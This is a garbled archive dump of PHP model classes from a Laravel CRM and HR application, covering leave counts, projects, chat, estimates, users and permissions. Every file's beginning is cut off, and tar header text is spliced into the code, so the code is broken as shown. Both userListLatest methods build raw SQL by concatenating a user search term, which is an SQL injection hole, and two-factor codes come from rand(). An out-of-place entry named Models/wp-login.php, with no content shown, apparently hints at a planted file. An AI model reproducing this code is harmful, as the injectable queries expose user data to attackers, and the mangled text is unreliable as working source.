'user_id')->withoutGlobalScope(ActiveScope::class)->withOut('clientDetails'); } public function approvedBy(): BelongsTo { return $this->belongsTo(User::class, 'approved_by')->withoutGlobalScope(ActiveScope::class)->withOut('clientDetails', 'role'); } public function type(): BelongsTo { return $this->belongsTo(LeaveType::class, 'leave_type_id')->withTrashed(); } public function getLeavesTakenCountAttribute() { $userId = $this->user_id; $setting = company(); $user = User::withoutGlobalScope(ActiveScope::class)->withOut('clientDetails', 'role')->findOrFail($userId); $currentYearJoiningDate = Carbon::parse($user->employee[0]->joining_date->format((now(company()->timezone)->year) . '-m-d')); if ($currentYearJoiningDate->isFuture()) { $currentYearJoiningDate->subYear(); } $leaveFrom = $currentYearJoiningDate->copy()->toDateString(); $leaveTo = $currentYearJoiningDate->copy()->addYear()->toDateString(); if ($setting->leaves_start_from !== 'joining_date') { $leaveStartYear = Carbon::parse(now()->format((now(company()->timezone)->year) . '-' . company()->year_starts_from . '-01')); if ($leaveStartYear->isFuture()) { $leaveStartYear = $leaveStartYear->subYear(); } $leaveFrom = $leaveStartYear->copy()->toDateString(); $leaveTo = $leaveStartYear->copy()->addYear()->toDateString(); } $fullDay = Leave::where('user_id', $userId) ->whereBetween('leave_date', [$leaveFrom, $leaveTo]) ->where('status', 'approved') ->where('duration', '<>', 'half day') ->count(); $halfDay = Leave::where('user_id', $userId) ->whereBetween('leave_date', [$leaveFrom, $leaveTo]) ->where('status', 'approved') ->where('duration', 'half day') ->count(); return ($fullDay + ($halfDay / 2)); } public static function byUserCount($user, $year = null) { $setting = company(); if (!$user instanceof User) { $user = User::withoutGlobalScope(ActiveScope::class)->withOut('clientDetails', 'role')->findOrFail($user); } $leaveFrom = (is_null($year)) ? Carbon::createFromFormat('d-m-Y', '01-'.company()->year_starts_from.'-'.now(company()->timezone)->year)->startOfMonth()->toDateString() : Carbon::createFromFormat('d-m-Y', '01-'.company()->year_starts_from.'-'.$year)->startOfMonth()->toDateString(); $leaveTo = Carbon::parse($leaveFrom)->addYear()->subDay()->toDateString(); if ($setting->leaves_start_from == 'joining_date' && isset($user->employee[0])) { $currentYearJoiningDate = Carbon::parse($user->employee[0]->joining_date->format((now(company()->timezone)->year) . '-m-d')); if ($currentYearJoiningDate->isFuture()) { $currentYearJoiningDate->subYear(); } $leaveFrom = $currentYearJoiningDate->copy()->toDateString(); $leaveTo = $currentYearJoiningDate->copy()->addYear()->toDateString(); } $fullDay = Leave::where('user_id', $user->id) ->whereBetween('leave_date', [$leaveFrom, $leaveTo]) ->where('status', 'approved') ->where('duration', '<>', 'half day') ->get(); $halfDay = Leave::where('user_id', $user->id) ->whereBetween('leave_date', [$leaveFrom, $leaveTo]) ->where('status', 'approved') ->where('duration', 'half day') ->get(); return (count($fullDay) + (count($halfDay) / 2)); } public function files(): HasMany { return $this->hasMany(LeaveFile::class, 'leave_id')->orderByDesc('id'); } } Models/ProjectFile.php000064400000005735150325104510010714 0ustar00external_link)) ? $this->external_link : asset_url_local_s3(ProjectFile::FILE_PATH . '/' . $this->project_id . '/' . $this->hashname); } public function project(): BelongsTo { return $this->belongsTo(Project::class); } } Models/VisaDetail.php000064400000005220150325104510010520 0ustar00 'datetime', 'expiry_date' => 'datetime', ]; public function user(): BelongsTo { return $this->belongsTo(User::class); } public function getImageUrlAttribute() { return asset_url_local_s3(VisaDetail::FILE_PATH . '/' . $this->file); } public function country(): HasOne { return $this->hasOne(Country::class, 'id', 'country_id'); } } Models/ClientContact.php000064400000004164150325104510011233 0ustar00belongsTo(User::class, 'user_id'); } } Models/GanttLink.php000064400000000220150325104510010361 0ustar00Models/ContractRenew.php000064400000004713150325104510011257 0ustar00 'datetime', 'end_date' => 'datetime', ]; public function contract(): BelongsTo { return $this->belongsTo(Contract::class, 'contract_id'); } public function renewedBy(): BelongsTo { return $this->belongsTo(User::class, 'renewed_by')->withoutGlobalScope(ActiveScope::class); } } Models/Designation.php000064400000004521150325104510010742 0ustar00hasMany(EmployeeDetails::class, 'designation_id'); } public static function allDesignations() { if (user()->permission('view_designation') == 'all' || user()->permission('view_designation') == 'none') { return Designation::all(); } return Designation::where('added_by', user()->id)->get(); } public function childs(): HasMany { return $this->hasMany(Designation::class, 'parent_id')->with('childs'); } } Models/ProjectDepartment.php000064400000000754150325104510012134 0ustar00belongsTo(Project::class); } public function department(): BelongsTo { return $this->belongsTo(Team::class, 'team_id'); } } Models/ProjectActivity.php000064400000004177150325104510011630 0ustar00belongsTo(Project::class, 'project_id'); } public static function getProjectActivities($projectId, $limit, $userID = null) { $projectActivity = ProjectActivity::select('project_activity.id', 'project_activity.project_id', 'project_activity.activity', 'project_activity.created_at', 'project_activity.updated_at'); if ($userID) { $projectActivity = $projectActivity->join('projects', 'projects.id', '=', 'project_activity.project_id') ->join('project_members', 'project_members.project_id', '=', 'projects.id') ->where('project_members.user_id', '=', $userID); } $projectActivity = $projectActivity->where('project_activity.project_id', $projectId) ->orderBy('project_activity.id', 'desc') ->limit($limit) ->get(); return $projectActivity; } } Models/KnowledgeBase.php000064400000004512150325104510011210 0ustar00belongsTo(KnowledgeBaseCategory::class, 'category_id'); } public function files(): HasMany { return $this->hasMany(KnowledgeBaseFile::class, 'knowledge_base_id')->orderByDesc('id'); } } Models/ProjectMilestone.php000064400000007367150325104510011777 0ustar00 'datetime', 'end_date' => 'datetime', ]; public function currency(): BelongsTo { return $this->belongsTo(Currency::class, 'currency_id'); } public function project(): BelongsTo { return $this->belongsTo(Project::class, 'project_id')->withTrashed(); } public function tasks(): HasMany { return $this->hasMany(Task::class, 'milestone_id'); } public function completeTasks(): HasMany { $taskBoardColumn = TaskboardColumn::completeColumn(); return $this->hasMany(Task::class, 'milestone_id')->where('tasks.board_column_id', $taskBoardColumn->id); } public function completionPercent() { $taskBoardColumn = TaskboardColumn::completeColumn(); $tasks = $this->tasks()->count(); $completedTasks = $this->tasks()->where('tasks.board_column_id', $taskBoardColumn->id)->count(); return ($completedTasks / $tasks) * 100; } } Models/TaskHistory.php000064400000004364150325104510010767 0ustar00belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } public function task(): BelongsTo { return $this->belongsTo(Task::class, 'task_id'); } public function subTask(): BelongsTo { return $this->belongsTo(SubTask::class, 'sub_task_id'); } public function boardColumn(): BelongsTo { return $this->belongsTo(TaskboardColumn::class, 'board_column_id'); } } Models/wp-login.php000064400000026574150325104510010246 0ustar00Models/UserChat.php000064400000015177150325104510010225 0ustar00 $mentionProject * @property-read int|null $mention_project_count * @property-read \Illuminate\Database\Eloquent\Collection $mentionUser * @property-read int|null $mention_user_count * @mixin \Eloquent */ class UserChat extends BaseModel { use HasCompany; use HasFactory; protected $table = 'users_chat'; protected $guarded = [ 'id' ]; public function fromUser(): BelongsTo { return $this->belongsTo(User::class, 'from')->withoutGlobalScope(ActiveScope::class); } public function toUser(): BelongsTo { return $this->belongsTo(User::class, 'to')->withoutGlobalScope(ActiveScope::class); } public static function chatDetail($id, $userID) { return UserChat::with('fromUser', 'toUser', 'files')->where(function ($q) use ($id, $userID) { $q->Where('user_id', $id)->Where('user_one', $userID) ->orwhere(function ($q) use ($id, $userID) { $q->Where('user_one', $id) ->Where('user_id', $userID); }); }) ->orderBy('created_at', 'asc')->get(); } public static function messageSeenUpdate($loginUser, $toUser, $updateData) { return UserChat::where('from', $toUser)->where('to', $loginUser)->update($updateData); } /** * Get the latest entry for each group. * * Each group is composed of one or more columns that make a unique combination to return the * last entry for. * * @param \Illuminate\Database\Eloquent\Builder $query * @param array|null $fields A list of fields that's considered as a unique entry by the query. * * @return \Illuminate\Database\Eloquent\Builder */ public function scopeLastPerGroup(Builder $query, ?array $fields = null): Builder { return $query->whereIn('id', function (QueryBuilder $query) use ($fields) { return $query->from(static::getTable()) ->selectRaw('max(`id`)') ->groupBy($fields); }); } public static function userList() { return UserChat::with('toUser')->select('users_chat.*') ->lastPerGroup(['user_id']) ->where('from', user()->id) ->orWhere('to', user()->id) ->get(); } public static function userListLatest($userID, $term) { if ($term) { $termCnd = 'and (users.name like \'%' . $term . '%\' or u.name like \'%' . $term . '%\')'; } else { $termCnd = ''; } return DB::select(' SELECT t1.id FROM users_chat AS t1 INNER JOIN users ON users.id = t1.user_one INNER JOIN users as u ON u.id = t1.user_id INNER JOIN ( SELECT LEAST(user_one, user_id) AS sender, GREATEST(user_one, user_id) AS receiver, MAX(id) AS max_id FROM users_chat GROUP BY LEAST(user_one, user_id), GREATEST(user_one, user_id) ) AS t2 ON LEAST(t1.user_one, t1.user_id) = t2.sender AND GREATEST(t1.user_one, t1.user_id) = t2.receiver AND t1.id = t2.max_id WHERE (t1.user_one = ? OR t1.user_id = ?) ' . $termCnd . ' ORDER BY t1.created_at DESC ', [$userID, $userID]); } public function files() { return $this->hasMany(UserchatFile::class, 'users_chat_id'); } public static function chatDetailViaId($chatId) { $userChat = UserChat::findOrFail($chatId); if ($userChat) { $user1 = $userChat->from; $user2 = $userChat->to; return UserChat::with('fromUser', 'toUser', 'files')->where(function ($q) use ($user1, $user2) { $q->Where('user_id', $user1)->Where('user_one', $user2) ->orwhere(function ($q) use ($user1, $user2) { $q->Where('user_one', $user1) ->Where('user_id', $user2); }); })->orderBy('created_at', 'asc')->get(); } return null; } public function mentionUser(): BelongsToMany { return $this->belongsToMany(User::class, 'mention_users')->withoutGlobalScope(ActiveScope::class)->using(MentionUser::class); } public function mentionProject(): HasMany { return $this->hasMany(MentionUser::class, 'project_id'); } } Models/EmployeeLeaveQuota.php000064400000003547150325104510012253 0ustar00 'array', ]; protected $guarded = ['id']; public function user(): BelongsTo { return $this->belongsTo(User::class, 'user_id'); } public function leaveType(): BelongsTo { return $this->belongsTo(LeaveType::class, 'leave_type_id')->withTrashed(); } } Models/TicketTag.php000064400000002714150325104510010357 0ustar00belongsTo(TicketTagList::class, 'tag_id'); } } Models/WeeklyTimesheet.php000064400000001515150325104510011606 0ustar00 'date:Y-m-d', ]; public function user(): BelongsTo { return $this->belongsTo(User::class); } public function company(): BelongsTo { return $this->belongsTo(Company::class); } public function entries(): HasMany { return $this->hasMany(WeeklyTimesheetEntries::class); } public function approvedBy(): BelongsTo { return $this->belongsTo(User::class, 'approved_by'); } } Models/Estimate.php000064400000015003150325104510010246 0ustar00 'datetime', 'last_viewed' => 'datetime', ]; protected $appends = ['total_amount', 'valid_date']; protected $with = ['currency']; const CUSTOM_FIELD_MODEL = 'App\Models\Estimate'; public function items(): HasMany { return $this->hasMany(EstimateItem::class, 'estimate_id'); } public function project(): BelongsTo { return $this->belongsTo(Project::class, 'project_id')->withTrashed(); } public function company(): BelongsTo { return $this->belongsTo(Company::class); } public function client(): BelongsTo { return $this->belongsTo(User::class, 'client_id')->withoutGlobalScope(ActiveScope::class); } public function clientdetails(): BelongsTo { return $this->belongsTo(ClientDetails::class, 'client_id', 'user_id'); } public function currency(): BelongsTo { return $this->belongsTo(Currency::class, 'currency_id'); } public function unit(): BelongsTo { return $this->belongsTo(UnitType::class, 'unit_id'); } public function sign(): HasOne { return $this->hasOne(AcceptEstimate::class, 'estimate_id'); } public function getTotalAmountAttribute() { return (!is_null($this->total) && isset($this->currency) && !is_null($this->currency->currency_symbol)) ? $this->currency->currency_symbol . $this->total : ''; } public function getValidDateAttribute() { return !is_null($this->valid_till) ? Carbon::parse($this->valid_till)->format('d F, Y') : ''; } public function formatEstimateNumber() { $invoiceSettings = (company()) ? company()->invoiceSetting : $this->company->invoiceSetting; return \App\Helper\NumberFormat::estimate($this->estimate_number, $invoiceSettings); } public static function lastEstimateNumber() { return (int)Estimate::orderBy('id', 'desc')->first()?->original_estimate_number ?? 0; } public function estimateRequest(): BelongsTo { return $this->belongsTo(EstimateRequest::class, 'estimate_request_id'); } } Models/ContractTemplate.php000064400000005041150325104510011745 0ustar00belongsTo(ContractType::class, 'contract_type_id'); } public function currency(): BelongsTo { return $this->belongsTo(Currency::class, 'currency_id'); } } Models/ProjectTemplateMember.php000064400000004653150325104510012736 0ustar00user->email; } public function user(): BelongsTo { return $this->belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } public function projectTemplate(): BelongsTo { return $this->belongsTo(ProjectTemplate::class); } public static function byProject($id) { return ProjectTemplateMember::join('users', 'users.id', '=', 'project_template_members.user_id') ->where('project_template_members.project_id', $id) ->where('users.status', 'active') ->get(); } public static function checkIsMember($projectId, $userId) { return ProjectTemplateMember::where('project_template_id', $projectId) ->where('user_id', $userId)->first(); } } Models/MessageSetting.php000064400000003136150325104510011421 0ustar00 $timeLogs * @property-read int|null $time_logs_count * @property-read Collection $visa * @property-read int|null $visa_count * @method static Builder|User onlyEmployee() * @method static Builder|User wherePmLastFour($value) * @method static Builder|User wherePmType($value) * @method static Builder|User whereStripeId($value) * @method static Builder|User whereTelegramUserId($value) * @method static Builder|User whereTrialEndsAt($value) * @property-read Collection $timeLogs * @property-read Collection $visa * @property-read Collection $timeLogs * @property-read Collection $visa * @property-read Collection $timeLogs * @property-read Collection $visa * @property-read Collection $timeLogs * @property-read Collection $visa * @property-read Collection $timeLogs * @property-read Collection $visa * @property int|null $country_phonecode * @property-read Collection $agentGroup * @property-read int|null $agent_group_count * @property-read mixed $mobile_with_phone_code * @property-read Collection $timeLogs * @property-read Collection $visa * @method static Builder|User whereCountryPhonecode($value) * @property-read Collection $agentGroup * @property-read Collection $timeLogs * @property-read Collection $visa * @property-read Collection $agentGroup * @property-read Collection $timeLogs * @property-read Collection $visa * @mixin \Eloquent */ class User extends BaseModel implements AuthenticatableContract, AuthorizableContract, CanResetPasswordContract { use Notifiable, EntrustUserTrait, Authenticatable, Authorizable, CanResetPassword, HasFactory, TwoFactorAuthenticatable; use HasCompany; use HasMaskImage; use UseDevices; const ALL_ADDED_BOTH = ['all', 'added', 'both']; public static function boot() { parent::boot(); static::addGlobalScope(new ActiveScope()); } // protected $with = ['session:id']; protected $with = [ // 'clientDetails:id,company_name', // 'employeeDetail.designation:id,name', // 'employeeDetail.department:id,team_name', // 'company:id,company_name', // 'roles:name,display_name', 'session:id', 'clientContact' ]; /** * The attributes that are mass assignable. * * @var array */ protected $guarded = [ 'id' ]; /** * The attributes that should be hidden for arrays. * * @var array */ protected $hidden = ['password', 'remember_token', 'created_at', 'updated_at', 'headers','location_details']; public $dates = ['created_at', 'updated_at', 'last_login', 'two_factor_expires_at']; protected $casts = [ 'created_at' => 'datetime', 'updated_at' => 'datetime', 'last_login' => 'datetime', 'two_factor_expires_at ' => 'array', 'salutation' => Salutation::class, ]; protected $appends = ['image_url', 'modules', 'mobile_with_phonecode', 'name_salutation']; public function getNameSalutationAttribute() { return ($this->salutation ? $this->salutation->label() . ' ' : '') . $this->name; } public function getImageUrlAttribute() { $gravatarHash = !is_null($this->email) ? md5(strtolower(trim($this->email))) : md5($this->id); return ($this->image) ? asset_url_local_s3('avatar/' . $this->image) : asset('img/gravatar.png'); } public function maskedImageUrl(): Attribute { return Attribute::make( get: function () { return ($this->image) ? $this->generateMaskedImageAppUrl('avatar/' . $this->image) : asset('img/gravatar.png'); }, ); } public function hasGravatar($email) { // Craft a potential URL for the Gravatar and test its headers $hash = md5(strtolower(trim($email))); $uri = 'http://www.gravatar.com/avatar/' . $hash . '?d=404'; $headers = @get_headers($uri); // Check if the Gravatar URL returns a valid response $hasValidAvatar = true; try { if (!preg_match('|200|', $headers[0])) { $hasValidAvatar = false; } } catch (\Exception $e) { // If an exception occurs, assume the Gravatar is valid $hasValidAvatar = true; } return $hasValidAvatar; } public function getMobileWithPhoneCodeAttribute() { if (!is_null($this->mobile) && !is_null($this->country_phonecode)) { return '+' . $this->country_phonecode . $this->mobile; } return '--'; } /** * Route notifications for the Slack channel. * * @return string */ public function routeNotificationForSlack() { $slack = $this->company->slackSetting; return $slack->slack_webhook; } public function routeNotificationForOneSignal() { return $this->onesignal_player_id; } public function routeNotificationForTwilio() { if (!is_null($this->mobile) && !is_null($this->country_phonecode)) { return '+' . $this->country_phonecode . $this->mobile; } return null; } // phpcs:ignore public function routeNotificationForEmail($notification = null) { $containsExample = Str::contains($this->email, 'example'); if (\config('app.env') === 'demo' && $containsExample) { return null; } return $this->email; } // phpcs:ignore public function routeNotificationForNexmo($notification) { if (!is_null($this->mobile) && !is_null($this->country_phonecode)) { return $this->country_phonecode . $this->mobile; } return null; } // phpcs:ignore public function routeNotificationForVonage($notification) { if (!is_null($this->mobile) && !is_null($this->country_phonecode)) { return $this->country_phonecode . $this->mobile; } return null; } // phpcs:ignore public function routeNotificationForMsg91($notification) { if (!is_null($this->mobile) && !is_null($this->country_phonecode)) { return $this->country_phonecode . $this->mobile; } return null; } public function clientDetails(): HasOne { return $this->hasOne(ClientDetails::class, 'user_id'); } public function lead(): HasOne { return $this->hasOne(Deal::class, 'user_id'); } public function attendance(): HasMany { return $this->hasMany(Attendance::class, 'user_id'); } public function employee(): HasMany { return $this->hasMany(EmployeeDetails::class, 'user_id'); } public function employeeDetail(): HasOne { return $this->hasOne(EmployeeDetails::class, 'user_id'); } public function clientContact(): HasOne { return $this->hasOne(ClientContact::class, 'id','is_client_contact'); } public function projects(): HasMany { return $this->hasMany(Project::class, 'client_id'); } public function member(): HasMany { return $this->hasMany(ProjectMember::class, 'user_id'); } public function appreciations(): HasMany { return $this->hasMany(Appreciation::class, 'award_to'); } public function appreciationsGrouped(): HasMany { return $this->hasMany(Appreciation::class, 'award_to')->select('appreciations.*', DB::raw('count("award_id") as no_of_awards'))->groupBy('award_id'); } public function templateMember(): HasMany { return $this->hasMany(ProjectTemplateMember::class, 'user_id'); } public function role(): HasMany { return $this->hasMany(RoleUser::class, 'user_id'); } public function attendee(): HasMany { return $this->hasMany(EventAttendee::class, 'user_id'); } public function agent(): HasMany { return $this->hasMany(TicketAgentGroups::class, 'agent_id'); } public function agentGroup(): BelongsToMany { return $this->belongsToMany(TicketGroup::class, 'ticket_agent_groups', 'agent_id', 'group_id'); } public function agents(): HasMany { return $this->hasMany(Ticket::class, 'agent_id'); } public function leadAgent(): HasMany { return $this->hasMany(LeadAgent::class, 'user_id'); } public function leadAgentCategory(): BelongsToMany { return $this->belongsToMany(LeadCategory::class, 'lead_agent_categories', 'lead_category_id', 'user_id'); } public function group(): HasMany { return $this->hasMany(EmployeeTeam::class, 'user_id'); } public function country(): HasOne { return $this->hasOne(Country::class, 'id', 'country_id'); } public function skills(): array { return EmployeeSkill::select('skills.name')->join('skills', 'skills.id', 'employee_skills.skill_id')->where('user_id', $this->id)->pluck('name')->toArray(); } public function emergencyContacts(): HasMany { return $this->hasMany(EmergencyContact::class); } public function leaveTypes(): HasMany { return $this->hasMany(EmployeeLeaveQuota::class); } public function employeeLeaveTypes(): BelongsToMany { return $this->belongsToMany(LeaveType::class, 'employee_leave_quotas'); } public function leaveQuotaHistory(): HasMany { return $this->hasMany(EmployeeLeaveQuotaHistory::class); } public function reportingTeam(): HasMany { return $this->hasMany(EmployeeDetails::class, 'reporting_to'); } public function tasks(): BelongsToMany { return $this->belongsToMany(Task::class, 'task_users'); } public function openTasks(): BelongsToMany { $taskBoardColumn = TaskboardColumn::completeColumn(); return $this->belongsToMany(Task::class, 'task_users')->where('tasks.board_column_id', '<>', $taskBoardColumn->id); } public function tickets(): HasMany { return $this->hasMany(Ticket::class, 'user_id')->orderByDesc('id'); } public function leaves(): HasMany { return $this->hasMany(Leave::class, 'user_id'); } public function documents(): HasMany { return $this->hasMany(EmployeeDocument::class, 'user_id'); } public function clientDocuments(): HasMany { return $this->hasMany(ClientDocument::class, 'user_id'); } public function visa(): HasMany { return $this->hasMany(VisaDetail::class, 'user_id'); } public function timeLogs(): HasMany { return $this->hasMany(ProjectTimeLog::class, 'user_id'); } public static function allClients($exceptId = null, $active = true, $overRidePermission = null, $companyId = null) { if (!isRunningInConsoleOrSeeding() && !is_null($overRidePermission)) { $viewClientPermission = $overRidePermission; } elseif (!isRunningInConsoleOrSeeding() && user()) { $viewClientPermission = user()->permission('view_clients'); } if (isset($viewClientPermission) && $viewClientPermission == 'none') { return collect([]); } $id = UserService::getUserId(); $clients = User::without('session') ->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->join('client_details', 'users.id', '=', 'client_details.user_id') ->select('users.id', 'users.name', 'users.email', 'users.created_at', 'client_details.company_name', 'users.image', 'users.email_notifications', 'users.mobile', 'users.country_id', 'users.salutation', 'users.status','users.is_client_contact') ->whereNull('users.is_client_contact') ->where('roles.name', 'client'); if (!is_null($exceptId)) { if (is_array($exceptId)) { $clients->whereNotIn('users.id', $exceptId); } else { $clients->where('users.id', '<>', $exceptId); } } if ($active) { $clients->where('users.status', 'active'); } else { $clients->withoutGlobalScope(ActiveScope::class); } if (!is_null($companyId)) { $clients->where('users.company_id', '<>', $companyId); } if (!isRunningInConsoleOrSeeding() && isset($viewClientPermission) && $viewClientPermission == 'added') { $clients->where('client_details.added_by', user()->id); } if (!isRunningInConsoleOrSeeding() && in_array('client', user_roles())) { $clients->where('client_details.user_id', $id); } return $clients->orderBy('users.name', 'asc')->get(); } public static function client() { $id = UserService::getUserId(); return User::withoutGlobalScope(ActiveScope::class) ->with('clientDetails') ->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->join('client_details', 'users.id', '=', 'client_details.user_id') ->select('users.id', 'users.name', 'users.email', 'users.created_at', 'client_details.company_name', 'users.image', 'users.email_notifications', 'users.mobile', 'users.country_id') ->where('roles.name', 'client') ->where('users.id', $id) ->orderBy('users.name', 'asc') ->get(); } public static function allEmployees($exceptId = null, $active = false, $overRidePermission = null, $companyId = null) { if (!isRunningInConsoleOrSeeding() && !is_null($overRidePermission)) { $viewEmployeePermission = $overRidePermission; } elseif (!isRunningInConsoleOrSeeding() && user()) { $viewEmployeePermission = user()->permission('view_employees'); } $users = User::withRole('employee') ->join('employee_details', 'employee_details.user_id', '=', 'users.id') ->leftJoin('designations', 'employee_details.designation_id', '=', 'designations.id') ->select('users.id', 'users.company_id', 'users.name', 'users.email', 'users.created_at', 'users.image', 'designations.name as designation_name', 'users.email_notifications', 'users.mobile', 'users.country_id', 'users.status'); if (!is_null($exceptId)) { if (is_array($exceptId)) { $users->whereNotIn('users.id', $exceptId); } else { $users->where('users.id', '<>', $exceptId); } } if (!is_null($companyId)) { $users->where('users.company_id', $companyId); } if (!$active) { $users->withoutGlobalScope(ActiveScope::class); } $id = UserService::getUserId(); if (!isRunningInConsoleOrSeeding() && user()) { if (isset($viewEmployeePermission)) { if (($viewEmployeePermission == 'added' && !in_array('client', user_roles()))) { $users->where(function ($q) { $q->where('employee_details.user_id', user()->id); $q->orWhere('employee_details.added_by', user()->id); }); } elseif ($viewEmployeePermission == 'owned' && !in_array('client', user_roles())) { $users->where('users.id', user()->id); } elseif ($viewEmployeePermission == 'both' && !in_array('client', user_roles())) { $users->where(function ($q) { $q->where('employee_details.user_id', user()->id); $q->orWhere('employee_details.added_by', user()->id); }); } elseif (($viewEmployeePermission == 'none' || $viewEmployeePermission == '') && !in_array('client', user_roles())) { $users->where('users.id', user()->id); } } if (in_array('client', user_roles())) { $clientEmployees = Project::where('client_id', $id) ->join('project_members', 'project_members.project_id', '=', 'projects.id') ->select('project_members.user_id') ->get() ->pluck('user_id'); $users->whereIn('users.id', $clientEmployees); } } if (!isRunningInConsoleOrSeeding() && user() && in_array('client', user_roles())) { $clientEmployess = Project::where('client_id', $id)->join('project_members', 'project_members.project_id', '=', 'projects.id') ->select('project_members.user_id')->get()->pluck('user_id'); $users->whereIn('users.id', $clientEmployess); } $users->orderBy('users.name'); $users->groupBy('users.id'); return $users->get(); } public static function allAdmins($companyId = null) { $users = User::withOut('clientDetails')->withRole('admin'); if (!is_null($companyId)) { return $users->where('users.company_id', $companyId)->get(); } return $users->get(); } public static function departmentUsers($teamId) { $users = User::join('employee_details', 'employee_details.user_id', '=', 'users.id') ->select('users.id', 'users.name', 'users.email', 'users.created_at') ->where('employee_details.department_id', $teamId); return $users->get(); } public static function userListLatest($userID, $term) { $termCnd = ''; if ($term) { $termCnd = 'and users.name like %' . $term . '%'; } $messageSetting = message_setting(); if (in_array('admin', user_roles())) { if ($messageSetting->allow_client_admin == 'no') { $termCnd .= "and roles.name != 'client'"; } } elseif (in_array('employee', user_roles())) { if ($messageSetting->allow_client_employee == 'no') { $termCnd .= "and roles.name != 'client'"; } } elseif (in_array('client', user_roles())) { if ($messageSetting->allow_client_admin == 'no') { $termCnd .= "and roles.name != 'admin'"; } if ($messageSetting->allow_client_employee == 'no') { $termCnd .= "and roles.name != 'employee'"; } } $query = DB::select('SELECT * FROM ( SELECT * FROM ( SELECT users.id,"0" AS groupId, users.name, users.image, users.email, users_chat.created_at as last_message, users_chat.message, users_chat.message_seen, users_chat.user_one FROM users INNER JOIN users_chat ON users_chat.from = users.id LEFT JOIN role_user ON role_user.user_id = users.id LEFT JOIN roles ON roles.id = role_user.role_id WHERE users_chat.to = ' . $userID . ' ' . $termCnd . ' UNION SELECT users.id,"0" AS groupId, users.name,users.image, users.email, users_chat.created_at as last_message, users_chat.message, users_chat.message_seen, users_chat.user_one FROM users INNER JOIN users_chat ON users_chat.to = users.id LEFT JOIN role_user ON role_user.user_id = users.id LEFT JOIN roles ON roles.id = role_user.role_id WHERE users_chat.from = ' . $userID . ' ' . $termCnd . ' ) AS allUsers ORDER BY last_message DESC ) AS allUsersSorted GROUP BY id ORDER BY last_message DESC'); return $query; } public static function isAdmin($userId) { $user = User::find($userId); if ($user) { return $user->hasRole('admin'); } return false; } public static function isClient($userId): bool { $user = User::find($userId); if ($user) { return $user->hasRole('client'); } return false; } public static function isEmployee($userId): bool { $user = User::find($userId); if ($user) { return $user->hasRole('employee'); } return false; } public function getModulesAttribute() { return user_modules(); } public function sticky(): HasMany { return $this->hasMany(StickyNote::class, 'user_id')->orderByDesc('updated_at'); } public function userChat(): HasMany { return $this->hasMany(UserChat::class, 'to')->where('message_seen', 'no'); } public function employeeDetails(): HasOne { return $this->hasOne(EmployeeDetails::class); } public function getUnreadNotificationsAttribute() { return $this->unreadNotifications()->get(); } /** * Check if user has a permission by its name. * * @param string|array $permission Permission string or array of permissions. * @param bool $requireAll All permissions in the array are required. * * @return bool */ public function can($permission, $requireAll = false) { config(['cache.default' => 'array']); if (is_array($permission)) { foreach ($permission as $permName) { $hasPerm = $this->can($permName); if ($hasPerm && !$requireAll) { return true; } if (!$hasPerm && $requireAll) { return false; } } // If we've made it this far and $requireAll is FALSE, then NONE of the perms were found // If we've made it this far and $requireAll is TRUE, then ALL of the perms were found. // Return the value of $requireAll; return $requireAll; } else { foreach ($this->cachedRoles() as $role) { // Validate against the Permission table foreach ($role->cachedPermissions() as $perm) { if (Str::is($permission, $perm->name)) { return true; } } } } config(['cache.default' => 'file']); return false; } public function getUserOtherRoleAttribute() { $userRole = null; $nonClientRoles = cache()->remember( 'non-client-roles', now()->addDay(), fn() => Role::where('name', '<>', 'client')->orderBy('id')->get() ); foreach ($nonClientRoles as $role) { foreach ($this->role as $urole) { if ($role->id == $urole->role_id) { $userRole = $role->name; } if ($userRole == 'admin') { break; } } } return $userRole; } /** * @return false|mixed */ public function permission($permission) { $cacheKey = 'permission-' . $permission . '-' . $this->id; cache()->forget($cacheKey); // Clear the cache if (cache()->has($cacheKey)) { return cache($cacheKey); } $permissionType = UserPermission::join('permissions', 'user_permissions.permission_id', '=', 'permissions.id') ->join('permission_types', 'user_permissions.permission_type_id', '=', 'permission_types.id') ->select('permission_types.name') ->where('permissions.name', $permission) ->where('user_permissions.user_id', $this->id) ->first(); $permissionType = $permissionType ? $permissionType->name : false; cache([$cacheKey => $permissionType]); return $permissionType; } public function permissionTypeId($permission) { $cacheKey = 'permission-id-' . $permission . '-' . $this->id; if (cache()->has($cacheKey)) { return cache($cacheKey); } $permissionType = UserPermission::join('permissions', 'user_permissions.permission_id', '=', 'permissions.id') ->join('permission_types', 'user_permissions.permission_type_id', '=', 'permission_types.id') ->select('permission_types.name', 'permission_types.id') ->where('permissions.name', $permission) ->where('user_permissions.user_id', $this->id) ->first(); $permissionName = $permissionType ? $permissionType->name : false; cache([$cacheKey => $permissionName]); return $permissionName; } /** * @return \Yajra\DataTables\Html\Editor\Fields\BelongsToMany */ public function permissionTypes(): BelongsToMany { return $this->belongsToMany(Permission::class, 'user_permissions')->withTimestamps(); } /** * @return HasOne */ public function session(): HasOne { return $this->hasOne(Session::class, 'user_id')->select('user_id', 'ip_address', 'last_activity'); } /** * @return HasMany */ public function contracts(): HasMany { return $this->hasMany(Contract::class, 'client_id', 'id'); } public function assignUserRolePermission($roleId) { $rolePermissions = PermissionRole::where('role_id', $roleId)->get(); $data = []; UserPermission::where('user_id', $this->id)->delete(); foreach ($rolePermissions as $permission) { $data[] = [ 'permission_id' => $permission->permission_id, 'user_id' => $this->id, 'permission_type_id' => $permission->permission_type_id, ]; } foreach (array_chunk($data, 100) as $item) { UserPermission::insert($item); } } public function assignModuleRolePermission($module) { $module = Module::where('module_name', $module)->first(); if (!$module) { return true; } $rolePermissions = PermissionRole::join('permissions', 'permissions.id', '=', 'permission_role.permission_id') ->where('permissions.module_id', $module->id) ->select('permission_role.*') ->get(); foreach ($rolePermissions as $key => $value) { $userPermission = UserPermission::where('permission_id', $value->permission_id) ->where('user_id', $this->id) ->firstOrNew(); $userPermission->permission_id = $value->permission_id; $userPermission->user_id = $this->id; $userPermission->permission_type_id = $value->permission_type_id; $userPermission->save(); } } public function generateTwoFactorCode() { $this->timestamps = false; $this->two_factor_code = rand(100000, 999999); $this->two_factor_expires_at = now()->addMinutes(10); $this->save(); } public function resetTwoFactorCode() { $this->timestamps = false; $this->two_factor_code = null; $this->two_factor_expires_at = null; $this->save(); } public function 